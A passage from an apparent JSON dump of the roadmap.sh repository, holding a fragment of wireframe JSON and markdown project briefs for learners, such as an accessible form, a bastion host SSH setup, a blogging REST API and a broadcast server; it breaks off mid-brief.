\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15293\",\"typeID\":\"__group__\",\"zOrder\":\"85\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"860\",\"y\":\"959\",\"properties\":{\"controlName\":\"check:keep-cookie-count-below-20\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15294\",\"typeID\":\"__group__\",\"zOrder\":\"23\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"860\",\"y\":\"1118\",\"properties\":{\"controlName\":\"check:pre-load-urls-where-possible\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15295\",\"typeID\":\"__group__\",\"zOrder\":\"27\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"860\",\"y\":\"1157\",\"properties\":{\"controlName\":\"check:concatenate-css-single-file\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15296\",\"typeID\":\"__group__\",\"zOrder\":\"31\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"860\",\"y\":\"1200\",\"properties\":{\"controlName\":\"check:remove-unused-css\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15297\",\"typeID\":\"__group__\",\"zOrder\":\"39\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"860\",\"y\":\"1242\",\"properties\":{\"controlName\":\"check:use-woff2-font-format\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15298\",\"typeID\":\"__group__\",\"zOrder\":\"41\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"860\",\"y\":\"1282\",\"properties\":{\"controlName\":\"check:use-preconnect-to-load-fonts\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15299\",\"typeID\":\"__group__\",\"zOrder\":\"43\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"860\",\"y\":\"1321\",\"properties\":{\"controlName\":\"check:keep-web-font-under-300k\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15300\",\"typeID\":\"__group__\",\"zOrder\":\"45\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"860\",\"y\":\"1361\",\"properties\":{\"controlName\":\"check:prevent-flash-text\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15301\",\"typeID\":\"__group__\",\"zOrder\":\"69\",\"measuredW\":\"29\",\"measuredH\":\"30\",\"w\":\"29\",\"h\":\"30\",\"x\":\"860\",\"y\":\"1401\",\"properties\":{\"controlName\":\"check:check-dependency-size\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"TextArea\",\"zOrder\":\"0\",\"w\":\"29\",\"h\":\"30\",\"measuredW\":\"200\",\"measuredH\":\"140\",\"x\":\"0\",\"y\":\"0\"}]}}},{\"ID\":\"15302\",\"typeID\":\"__group__\",\"zOrder\":\"62\",\"measuredW\":\"194\",\"measuredH\":\"28\",\"w\":\"194\",\"h\":\"28\",\"x\":\"301\",\"y\":\"788\",\"properties\":{\"controlName\":\"minify-your-javascript\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Label\",\"zOrder\":\"0\",\"measuredW\":\"194\",\"measuredH\":\"28\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"size\":\"20\",\"text\":\"Minify your JavaScript\"}}]}}},{\"ID\":\"15303\",\"typeID\":\"__group__\",\"zOrder\":\"13\",\"measuredW\":\"329\",\"measuredH\":\"51\",\"w\":\"329\",\"h\":\"51\",\"x\":\"1115\",\"y\":\"240\",\"properties\":{\"controlName\":\"ext_link:roadmap.sh\"},\"children\":{\"controls\":{\"control\":[{\"ID\":\"0\",\"typeID\":\"Canvas\",\"zOrder\":\"0\",\"w\":\"329\",\"h\":\"51\",\"measuredW\":\"100\",\"measuredH\":\"70\",\"x\":\"0\",\"y\":\"0\",\"properties\":{\"color\":\"4273622\",\"borderColor\":\"4273622\"}},{\"ID\":\"1\",\"typeID\":\"Label\",\"zOrder\":\"1\",\"measuredW\":\"172\",\"measuredH\":\"28\",\"x\":\"79\",\"y\":\"12\",\"properties\":{\"color\":\"16777215\",\"size\":\"20\",\"text\":\"https://roadmap.sh\"}}]}}}]},\"attributes\":{\"name\":\"New Wireframe 1 copy 3\",\"order\":1000016.2408968211,\"parentID\":null,\"notes\":\"\"},\"branchID\":\"Master\",\"resourceID\":\"13C27694-0370-442D-AECD-EFA2B687DD15\",\"mockupH\":\"1790\",\"mockupW\":\"1361\",\"measuredW\":\"1542\",\"measuredH\":\"1924\",\"version\":\"1.0\"},\"groupOffset\":{\"x\":0,\"y\":0},\"dependencies\":[],\"projectID\":\"file:///Users/kamranahmed/Desktop/devops%20roadmap%5C.bmpr\"}"
  },
  {
    "path": "src/data/best-practices/frontend-performance/frontend-performance.md",
    "content": "---\njsonUrl: '/jsons/best-practices/frontend-performance.json'\npdfUrl: '/pdfs/best-practices/frontend-performance.pdf'\norder: 1\nbriefTitle: 'Frontend Performance'\nbriefDescription: 'Frontend Performance Best Practices'\nisNew: false\nisUpcoming: false\ntitle: 'Frontend Performance Best Practices'\ndescription: 'Detailed list of best practices to improve your frontend performance'\ndimensions:\n  width: 968\n  height: 1270.89\nschema:\n  headline: 'Frontend Performance Best Practices'\n  description: 'Detailed list of best practices to improve the frontend performance of your website. Each best practice carries further details and how to implement that best practice.'\n  imageUrl: 'https://roadmap.sh/best-practices/frontend-performance.png'\n  datePublished: '2023-01-23'\n  dateModified: '2023-01-23'\nseo:\n  title: 'Frontend Performance Best Practices'\n  description: 'Detailed list of best practices to improve the frontend performance of your website. Each best practice carries further details and how to implement that best practice.'\n  keywords:\n    - 'frontend performance'\n    - 'frontend performance best practices'\n    - 'frontend performance checklist'\n    - 'frontend checklist'\n    - 'make performant frontends'\n---\n"
  },
  {
    "path": "src/data/projects/accessible-form-ui.md",
    "content": "---\ntitle: 'Accessible Form UI'  \ndescription: 'Create an accessible form UI using HTML and CSS.'  \nisNew: false  \nsort: 7  \ndifficulty: 'beginner'  \nnature: 'Accessibility'\nskills:  \n  - 'HTML'  \n  - 'CSS'  \n  - 'Layouts'  \n  - 'Positioning'\n  - 'Accessibility'\nseo:  \n  title: 'Create an Accessible Form UI for a Website Using HTML and CSS'  \n  description: 'Learn how to create an accessible form component using HTML and CSS.'  \n  keywords:  \n    - 'accessible forms'  \n    - 'css project idea'  \n    - 'responsive design'  \n    - 'html and css'  \nroadmapIds:  \n  - 'frontend'  \n\n---\n\nIn this project, you are required to create a form UI using only HTML and CSS. The form will include fields for a full name, email, password, and confirm password, along with a button to toggle the visibility of the password text. Additionally, the form will feature a completeness progress bar and a checklist of requirements that must be met for the form to reach 100% completeness. While this version of the form won’t be functional, it will be a static UI component that can be enhanced with JavaScript in the future.\n\nThe goal of this project is to not only help you practice your HTML and CSS but also to focus on creating an accessible form that is easy to use for all users, including those with disabilities. Given below is the rough mockup of the form UI that you need to create:\n\n[![Form UI](https://assets.roadmap.sh/guest/form-components-7t4b3.png)](https://assets.roadmap.sh/guest/form-components-7t4b3.png)\n\n## Accessibility Guidelines\n\nYou should read up on accessibility guidelines and best practices before starting this project. However, here are some key points to keep in mind while creating an accessible form UI:\n\n- **Labeling**: Ensure that each form field has a corresponding `<label>` element that is clearly associated with the field using the `for` attribute.\n- **Focus State**: Style the focus state of each input field so that users navigating with a keyboard can easily see which field is currently active.\n- **Error Messaging**: Consider adding space for error messages that can be displayed when a user inputs invalid data. These messages should be clearly associated with the relevant input field.\n- **ARIA Attributes**: Use ARIA (Accessible Rich Internet Applications) attributes where necessary, such as `aria-required` for required fields and `aria-invalid` for fields with errors.\n- **Color Contrast**: Ensure that the color contrast between text and background is sufficient to meet WCAG (Web Content Accessibility Guidelines) standards, making the form readable for users with visual impairments.\n- **Interactive Elements**: Make sure that the button to show/hide the password is accessible via keyboard and screen readers, providing clear feedback on the current state (e.g., \"Password is hidden\" or \"Password is visible\").\n\nOnce done, you can test the form UI using a screen reader or browser extensions like Axe or Lighthouse to check for accessibility issues and make necessary adjustments.\n\n---\n\nAfter completing this project, you will have a solid foundation in creating accessible and well-structured forms using HTML and CSS. You can later enhance this form by adding JavaScript to make it fully functional and dynamic in future projects."
  },
  {
    "path": "src/data/projects/accordion.md",
    "content": "---\ntitle: 'Accordion'  \ndescription: 'Create an accordion component using HTML, CSS, and JavaScript.'  \nisNew: false  \nsort: 18\ndifficulty: 'beginner'  \nnature: 'JavaScript'  \nskills:  \n  - 'HTML'  \n  - 'CSS'  \n  - 'JavaScript'  \n  - 'DOM Manipulation'  \nseo:  \n  title: 'Build an Accordion Component with JavaScript'  \n  description: 'Learn how to create a responsive accordion component that allows users to toggle between different sections of content.'  \n  keywords:  \n    - 'accordion'\n    - 'javascript accordion'\n    - 'html and css'  \nroadmapIds:  \n  - 'frontend'\n---\n\nYou are required to create an accordion component that displays a list of questions or headings. When a user clicks on a question, its corresponding answer or content section will expand while collapsing any previously opened section. This allows only one section to be open at a time, keeping the UI clean and organized.\n\nGiven below is the mockup showing the accordion in its default and expanded states:\n\n[![Accordion](https://assets.roadmap.sh/guest/accordion-rbvpo.png)](https://assets.roadmap.sh/guest/accordion-rbvpo.png)\n\nThis project will help you practice DOM manipulation, event handling, and implementing responsive design patterns using JavaScript."
  },
  {
    "path": "src/data/projects/age-calculator.md",
    "content": "---\ntitle: Age Calculator\ndescription: Create an age calculator using HTML, CSS, and JavaScript.\nisNew: true\nsort: 19\ndifficulty: 'beginner'\nnature: 'Frontend'\nskills:\n  - 'HTML'\n  - 'CSS'\n  - 'JavaScript'\n  - 'DOM Manipulation'\n  - 'Package Management'\nseo:\n  title: Build an Age Calculator App with JavaScript\n  description: Create an age calculator using HTML, CSS, and JavaScript.\n  keywords:\n    - 'age calculator'\n    - 'frontend project idea'\n    - 'luxon date manipulation'\n    - 'javascript datepicker'\nroadmapIds:\n  - 'frontend'\n---\n\nThe goal of this project is to help you learn about how to use external packages using [npm](https://www.npmjs.com/). The user inputs their birthdate via a [JavaScript Datepicker](https://www.npmjs.com/package/js-datepicker), and the app calculates and displays their exact age, including years, and months using [Luxon](https://www.npmjs.com/package/luxon).\n\n![Age Calculator](https://assets.roadmap.sh/guest/age-calculator-do1un.png)\n\n## Requirements\n\nYou are required to develop an age calculator with the following features:\n\n- A form that allows users to input their birthdate using a JavaScript datepicker (avoid the default HTML date picker)\n- Use the [Luxon](https://www.npmjs.com/package/luxon) library to calculate the exact age in years, months, and days\n- Display the result on the same page after the user submits the form\n- Implement basic validation to ensure the birthdate is valid\n- Use simple styling to make the calculator visually appealing and responsive\n\n<hr />\n\nThis project will help you understand how to manipulate dates and times in JavaScript using [Luxon](https://www.npmjs.com/package/luxon). You'll gain experience handling user input via a datepicker, performing date calculations, and designing a simple user interface.\n"
  },
  {
    "path": "src/data/projects/automated-backups.md",
    "content": "---\ntitle: 'Automated DB Backups'\ndescription: 'Setup a scheduled workflow to backup a Database every 12 hours'\nisNew: false\nsort: 1600\ndifficulty: 'intermediate'\nnature: 'Backups'\nskills:\n  - 'bash'\n  - 'devops'\nseo:\n  title: 'Automated DB Backups'\n  description: 'Setup a scheduled workflow to backup a Database every 12 hours'\n  keywords:\n    - 'Backup'\n    - 'Database'\n    - 'MongoDB'\nroadmapIds:\n  - 'devops'\n---\n\nThe goal of this project is to setup a scheduled workflow to backup a Database every 12 hours and upload the backup to [Cloudflare R2](https://developers.cloudflare.com/r2/) which has a free tier for storage.\n\n## Requirements\n\nThe pre-requisite for this project is to have a server setup and a database ready to backup. You can use one of the projects did in [the other project](/projects/multi-container-service). Alternatively:\n\n- Setup a server on [Digital Ocean](https://m.do.co/c/b29aa8845df8) or any other provider\n- Run a MongoDB instance on the server\n- Seed some data to the database\n\nOnce you have a server and a database ready, you can proceed to the next step.\n\n### Scheduled Backups\n\nYou can do this bit either by setting up a cron job on the server or alternatively setup a [scheduled workflow in Github Actions](https://docs.github.com/en/actions/writing-workflows/choosing-when-your-workflow-runs/events-that-trigger-workflows#schedule) that runs every 12 hours and execute the backup from there. Database should be backedup up into a tarball and uploaded to [Clouodflare R2](https://developers.cloudflare.com/r2/).\n\nHint: You can use the `mongodump` to dump the database and then use `aws cli` to upload the file to R2.\n\n### Stretch Goal\n\nWrite a script to download the latest backup from R2 and restore the database.\n\n<hr />\n\nDatabase backups are essential to ensure that you can restore your data in case of a disaster. This project will give you hands on experience on how to setup a scheduled workflow to backup a database and how to restore it from a backup.\n"
  },
  {
    "path": "src/data/projects/basic-dns.md",
    "content": "---\ntitle: 'Basic DNS Setup'\ndescription: 'Purchase a custom domain and set up basic DNS records.'\nisNew: false\nsort: 700\ndifficulty: 'beginner'\nnature: 'DNS'\nskills:\n  - 'devops'\n  - 'dns'\nseo:\n  title: 'Basic DNS Setup'\n  description: 'Purchase a custom domain and set up basic DNS records.'\n  keywords:\n    - 'basic dns'\n    - 'dns'\n    - 'domain'\nroadmapIds:\n  - 'devops'\n---\n\nThe goal of this project is to learn and practice the basics of DNS. You are required to purchase a custom domain name and setup the basic DNS records.\n\n## Requirements\n\nYou are required to have a custom domain name to complete this project. You can use the domain name you already own or purchase a new domain name from any provider such as Cloudflare, Namecheap, Godaddy etc. Once you have a domain name, you can proceed to the next step.\n\n### Task #1 - Custom Domain for GitHub Pages\n\nIf you have not completed the [GitHub pages project](/projects/github-actions-deployment-workflow), go ahead and complete that project first. Once you have a github pages site setup, set up your custom domain name to point to your github pages site.\n\n### Task #2 - Custom Domain for DigitalOcean Droplet\n\nIf you have not completed the [Static Site Server project](/projects/static-site-server), go ahead and complete that project first so you have a basic static site to serve. Once you have a digital ocean droplet setup serving a static site, set up your DNS records to point to your droplet.\n\n<hr />\n\n### Submission Guidelines\n\nOutput for this project is the steps you took to setup the custom domain name for both GitHub Pages and a DigitalOcean Droplet. You can write a simple markdown file in tutorial format, add screenshots and any other relevant information to help you remember the steps.\n\n<hr />\n\nOnce you have completed the project, you should have a basic understanding of how to setup a custom domain name for both GitHub Pages and a DigitalOcean Droplet.\n"
  },
  {
    "path": "src/data/projects/basic-dockerfile.md",
    "content": "---\ntitle: 'Basic Dockerfile'\ndescription: 'Build a basic Dockerfile to create a Docker image.'\nisNew: false\nsort: 1000\ndifficulty: 'beginner'\nnature: 'Docker'\nskills:\n  - 'docker'\n  - 'dockerfile'\n  - 'linux'\n  - 'devops'\nseo:\n  title: 'Basic Dockerfile'\n  description: 'Write a basic Dockerfile to create a Docker image.'\n  keywords:\n    - 'basic dockerfile'\n    - 'dockerfile'\n    - 'docker'\nroadmapIds:\n  - 'devops'\n---\n\nIn this project, you will write a basic Dockerfile to create a Docker image. When this Docker image is run, it should print \"Hello, Captain!\" to the console before exiting.\n\n## Requirements\n\n- The Dockerfile should be named `Dockerfile`.\n- The Dockerfile should be in the root directory of the project.\n- The base image should be `alpine:latest`.\n- The Dockerfile should contain a single instruction to print \"Hello, Captain!\" to the console before exiting.\n\n\nYou can learn more about writing a Dockerfile [here](https://docs.docker.com/engine/reference/builder/).\n\n<hr />\n\nIf you are looking to build a more advanced version of this project, you can consider adding the ability to pass your name to the Docker image as an argument, and have the Docker image print \"Hello, [your name]!\" instead of \"Hello, Captain!\".\n"
  },
  {
    "path": "src/data/projects/basic-html-website.md",
    "content": "---\ntitle: 'Basic HTML Website'\ndescription: 'Create simple HTML only website with multiple pages.'\nisNew: false\nsort: 2\ndifficulty: 'beginner'\nnature: 'HTML'\nskills:\n  - 'HTML'\n  - 'Layouts'\n  - 'semantic HTML'\nseo:\n  title: 'Basic HTML Website Project'\n  description: 'Create a simple HTML only website with multiple pages.'\n  keywords:\n    - 'basic html'\n    - 'html project idea'\nroadmapIds:\n  - 'frontend'\n---\n\n> Goal of this project is to teach you how to structure a website using HTML i.e. different sections of a website like header, footer, navigation, main content, sidebars etc. Do not style the website, only focus on the structure. Styling will be done in separate projects.\n\nIn this project, you are required to create a simple HTML only website with multiple pages. The website should have following pages:\n\n- Homepage\n- Projects\n- Articles\n- Contact\n\nThe website should have a navigation bar that should be present on all pages and link to all the pages. \n\nYou are not required to style the website, you are only required to create the structure of the website using HTML. Goals of this project are:\n\n- Learn how to create multiple pages in a website.\n- Structure a website using HTML in a semantic way.\n- Structure in a way that you can easily add styles later.\n- Add SEO meta tags to the website.\n\nYou can use the following mockup example to create the structure of the website (remember, you are not required to style the website, only focus on the structure that you can style later):\n\n![Basic HTML Website](https://assets.roadmap.sh/guest/portfolio-design-83lku.png)\n\nAgain, make sure that your submission includes the following:\n\n- Semantically correct HTML structure.\n- Multiple pages with a navigation bar.\n- SEO meta tags in the head of each page.\n- Contact page should have a form with fields like name, email, message etc.\n\n<hr />\n\nAfter completing this project, you will have a good understanding of how to structure a website using HTML, basic SEO meta tags, HTML tags, forms etc. You can now move on to the next project where you will learn how to style this website using CSS.\n"
  },
  {
    "path": "src/data/projects/bastion-host.md",
    "content": "---\ntitle: 'Bastion Host'\ndescription: 'Setup a bastion host for managing access to private infrastructure.'\nisNew: true\nsort: 1601\ndifficulty: 'intermediate'\nnature: 'Networking'\nskills:\n  - 'devops'\n  - 'security'\n  - 'linux'\nseo:\n  title: 'Bastion Host Setup'\n  description: 'Learn how to set up a bastion host to securely manage access to your private infrastructure.'\n  keywords:\n    - 'bastion host'\n    - 'linux'\n    - 'security'\n    - 'devops'\nroadmapIds:\n  - 'devops'\n---\n\nThe goal of this project is to learn and practice how to set up a **bastion host**—a secure entry point that enables authorized users to access private infrastructure or internal systems without exposing them to the public internet.\n\nA **bastion host** is a server specifically designed to act as a secure gateway between external users and a private network. It reduces the attack surface of your infrastructure by being the only publicly accessible server, ensuring that all external connections go through a single, well-secured entry point. Typically, bastion hosts are configured to allow secure SSH or RDP access and are heavily monitored.\n\n---\n\n## Requirements\n\nYou will set up a bastion host in a cloud environment and configure it to securely allow access to a private server.\n\n- Choose a cloud provider (e.g., AWS, DigitalOcean, GCP, Azure) and create **two servers**:\n  - **Bastion Host** (publicly accessible).\n  - **Private Server** (accessible only from the bastion host IP address and not publicly).\n\n- Configure both the servers to allow SSH connection and configure SSH in a way that you can SSH into the private server by jumping through the bastion host\n\n   ```bash\n   Host bastion\n       HostName <bastion-ip>\n       User <bastion-user>\n       IdentityFile <path-to-bastion-private-key>\n\n   Host private-server\n       HostName <private-server-ip>\n       User <private-server-user>\n       ProxyJump bastion\n       IdentityFile <path-to-private-server-private-key>\n   ```\n\n- Connect to the bastion host using:\n  ```bash\n  ssh bastion\n  ```\n- From the bastion host, connect to the private server:\n  ```bash\n  ssh private-server\n  ```\n- Alternatively, connect directly using your local machine:\n  ```bash\n  ssh private-server\n  ```\n\n- Optionally set up basic monitoring for SSH access attempts using tools like `fail2ban` for example.\n\n## Stretch Goals\n\n- **Harden Security**: Configure multi-factor authentication (MFA) for the bastion host. Use `iptables` or similar tools for more granular traffic filtering.\n- **Automate Setup**: Use Terraform or Ansible to automate the deployment and configuration of your bastion host and private server.\n\n---\n\n## Important Note for Solution Submission\n\n**Do not share sensitive information (e.g., private keys, IP addresses) in public repositories.** Your submission should contain a `README.md` file describing the steps and configurations you used to complete the project.\n\n---\n\nAfter completing this project, you will have a strong understanding of how to set up a bastion host and securely manage access to private infrastructure. This foundational knowledge will prepare you for more advanced projects in network and infrastructure security."
  },
  {
    "path": "src/data/projects/blogging-platform-api.md",
    "content": "---\ntitle: 'Blogging Platform API'\ndescription: 'Build a RESTful API for a personal blogging platform'\nisNew: false\nsort: 800\ndifficulty: 'beginner'\nnature: 'API'\nskills:\n  - 'Programming Language'\n  - 'CRUD'\n  - 'RESTful API'\n  - 'Database'\nseo:\n  title: 'Blogging Platform API Project Idea'\n  description: 'Build a RESTful API for a personal blogging platform. Users can create, read, update, and delete blog posts using the API.'\n  keywords:\n    - 'blogging platform api'\n    - 'backend project idea'\nroadmapIds:\n  - 'backend'\n  - 'php'\n  - 'nodejs'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'spring-boot'\n---\n\nYou are required to create a simple RESTful API with basic CRUD operations for a personal blogging platform. CRUD stands for Create, Read, Update, and Delete. \n\n## Goals\n\nThe goals of this project are to help you:\n\n- Understand what the RESTful APIs are including best practices and conventions\n- Learn how to create a RESTful API\n- Learn about common HTTP methods like GET, POST, PUT, PATCH, DELETE\n- Learn about status codes and error handling in APIs\n- Learn how to perform CRUD operations using an API\n- Learn how to work with databases\n\n## Requirements\n\nYou should create a RESTful API for a personal blogging platform. The API should allow users to perform the following operations:\n\n- Create a new blog post\n- Update an existing blog post\n- Delete an existing blog post\n- Get a single blog post\n- Get all blog posts\n- Filter blog posts by a search term\n\nGiven below are the details for each API operation.\n\n### Create Blog Post\n\nCreate a new blog post using the `POST` method\n\n```plaintext\nPOST /posts\n{\n  \"title\": \"My First Blog Post\",\n  \"content\": \"This is the content of my first blog post.\",\n  \"category\": \"Technology\",\n  \"tags\": [\"Tech\", \"Programming\"]\n}\n```\n\nEach blog post should have the following fields:\n\n```json\n{\n  \"title\": \"My First Blog Post\",\n  \"content\": \"This is the content of my first blog post.\",\n  \"category\": \"Technology\",\n  \"tags\": [\"Tech\", \"Programming\"]\n}\n```\n\nThe endpoint should validate the request body and return a `201 Created` status code with the newly created blog post i.e.\n\n```json\n{\n  \"id\": 1,\n  \"title\": \"My First Blog Post\",\n  \"content\": \"This is the content of my first blog post.\",\n  \"category\": \"Technology\",\n  \"tags\": [\"Tech\", \"Programming\"],\n  \"createdAt\": \"2021-09-01T12:00:00Z\",\n  \"updatedAt\": \"2021-09-01T12:00:00Z\"\n}\n```\n\nor a `400 Bad Request` status code with error messages in case of validation errors.\n\n## Update Blog Post\n\nUpdate an existing blog post using the `PUT` method\n\n```plaintext\nPUT /posts/1\n{\n  \"title\": \"My Updated Blog Post\",\n  \"content\": \"This is the updated content of my first blog post.\",\n  \"category\": \"Technology\",\n  \"tags\": [\"Tech\", \"Programming\"]\n}\n```\n\nThe endpoint should validate the request body and return a `200 OK` status code with the updated blog post i.e.\n\n```json\n{\n  \"id\": 1,\n  \"title\": \"My Updated Blog Post\",\n  \"content\": \"This is the updated content of my first blog post.\",\n  \"category\": \"Technology\",\n  \"tags\": [\"Tech\", \"Programming\"],\n  \"createdAt\": \"2021-09-01T12:00:00Z\",\n  \"updatedAt\": \"2021-09-01T12:30:00Z\"\n}\n```\n\nor a `400 Bad Request` status code with error messages in case of validation errors. It should return a `404 Not Found` status code if the blog post was not found.\n\n### Delete Blog Post\n\nDelete an existing blog post using the `DELETE` method\n\n```plaintext\nDELETE /posts/1\n```\n\nThe endpoint should return a `204 No Content` status code if the blog post was successfully deleted or a `404 Not Found` status code if the blog post was not found.\n\n### Get Blog Post\n\nGet a single blog post using the `GET` method\n\n```plaintext\nGET /posts/1\n```\n\nThe endpoint should return a `200 OK` status code with the blog post i.e.\n\n```json\n{\n  \"id\": 1,\n  \"title\": \"My First Blog Post\",\n  \"content\": \"This is the content of my first blog post.\",\n  \"category\": \"Technology\",\n  \"tags\": [\"Tech\", \"Programming\"],\n  \"createdAt\": \"2021-09-01T12:00:00Z\",\n  \"updatedAt\": \"2021-09-01T12:00:00Z\"\n}\n```\n\nor a `404 Not Found` status code if the blog post was not found.\n\n### Get All Blog Posts\n\nGet all blog posts using the `GET` method\n\n```plaintext\nGET /posts\n```\n\nThe endpoint should return a `200 OK` status code with an array of blog posts i.e.\n\n```json\n[\n  {\n    \"id\": 1,\n    \"title\": \"My First Blog Post\",\n    \"content\": \"This is the content of my first blog post.\",\n    \"category\": \"Technology\",\n    \"tags\": [\"Tech\", \"Programming\"],\n    \"createdAt\": \"2021-09-01T12:00:00Z\",\n    \"updatedAt\": \"2021-09-01T12:00:00Z\"\n  },\n  {\n    \"id\": 2,\n    \"title\": \"My Second Blog Post\",\n    \"content\": \"This is the content of my second blog post.\",\n    \"category\": \"Technology\",\n    \"tags\": [\"Tech\", \"Programming\"],\n    \"createdAt\": \"2021-09-01T12:30:00Z\",\n    \"updatedAt\": \"2021-09-01T12:30:00Z\"\n  }\n]\n```\n\nYou don't have to implement pagination, authentication or authorization for this project. You can focus on the core functionality of the API.\n\nWhile retrieving posts, user can also filter posts by a search term. You should do a wildcard search on the title, content or category fields of the blog posts. For example:\n\n```plaintext\nGET /posts?term=tech\n```\n\nThis should return all blog posts that have the term \"tech\" in their title, content or category. You can use a simple SQL query if you are using a SQL database or a similar query for a NoSQL database.\n\n<hr />\n\n## Tech Stack\n\nFeel free to use any programming language, framework, and database of your choice for this project. Here are some suggestions:\n\n- If you are using JavaScript, you can use Node.js with Express.js\n- If you are using Python, you can use Flask or Django\n- If you are using Java, you can use Spring Boot\n- If you are using Ruby, you can use Ruby on Rails\n\nFor databases, you can use:\n\n- MySQL if you are using SQL\n- MongoDB if you are using NoSQL"
  },
  {
    "path": "src/data/projects/blue-green-deployment.md",
    "content": "---\ntitle: 'Blue-Green Deployment'\ndescription: 'Setup a blue-green deployment strategy for your application.'\nisNew: false\nsort: 1700\ndifficulty: 'advanced'\nnature: 'DevOps'\nskills:\n  - 'bash'\n  - 'devops'\n  - 'monitoring'\nseo:\n  title: 'Blue-Green Deployment'\n  description: 'Setup a blue-green deployment strategy for your application.'\n  keywords:\n    - 'Blue-Green Deployment'\n    - 'Deployment Strategy'\n    - 'DevOps'\n    - 'Server Metrics'\nroadmapIds:\n  - 'devops'\n---\n\nThe goal of this project is to practice setting up a blue-green deployment strategy for a simple web application. This will allow you to deploy your application in a more efficient and reliable way.\n\n## Requirement\n\nYou are required to take an existing application (e.g. the one you built in [multi-container service project](/projects/multi-container-service)) and setup a blue-green deployment strategy for it. The goal is to deploy the next version of the application in a separate container and switch the traffic to the new container only when the new version is ready.\n\n## Bonus\n\n- Setup a CI/CD pipeline to automatically deploy the application to the server when the code is pushed to the repository.\n- Setup a monitoring system to monitor the application and the deployment process.\n\n<hr />\n\nAfter finishing this project you will have a good understanding of how to deploy a containerized application in a more efficient way without downtime and with zero data loss."
  },
  {
    "path": "src/data/projects/broadcast-server.md",
    "content": "---\ntitle: 'Broadcast Server'\ndescription: 'Build a server that can broadcast messages to connected clients.'\nisNew: false\nsort: 1500\ndifficulty: 'intermediate'\nnature: 'CLI'\nskills:\n  - 'Programming Language'\n  - 'Networking'\n  - 'Websockets'\n  - 'HTTP'\nseo:\n  title: 'Broadcast Server Project Idea'\n  description: 'Build a server that can broadcast messages to connected clients.'\n  keywords:\n    - 'broadcast server'\n    - 'backend project idea'\nroadmapIds:\n  - 'backend'\n  - 'php'\n  - 'nodejs'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'spring-boot'\n---\n\nYou are required to create a simple broadcast server that will allow clients to connect to it, send messages that will be broadcasted to all connected clients.\n\n## Goal\n\nThe goal of this project is to help you understand how to work with websockets and implement real-time communication between clients and servers. This will help you understand how the real-time features of applications like chat applications, live scoreboards, etc., work.\n\n## Requirements\n\nYou are required to build a CLI based application that can be used to either start the server or connect to the server as a client. Here are the sample commands that you can use:\n\n- `broadcast-server start` - This command will start the server.\n- `broadcast-server connect` - This command will connect the client to the server.\n\nWhen the server is started using the `broadcast-server start` command, it should listen for client connections on a specified port (you can configure that using command options or hardcode for simplicity). When a client connects and sends a message, the server should broadcast this message to all connected clients.\n\nThe server should be able to handle multiple clients connecting and disconnecting gracefully.\n\n## Implementation\n\nYou can use any programming language to implement this project. Here are some of the steps that you can follow to implement this project:\n\n1. Create a server that listens for incoming connections.\n2. When a client connects, store the connection in a list of connected clients.\n3. When a client sends a message, broadcast this message to all connected clients.\n4. Handle client disconnections and remove the client from the list of connected clients.\n5. Implement a client that can connect to the server and send messages.\n6. Test the server by connecting multiple clients and sending messages.\n7. Implement error 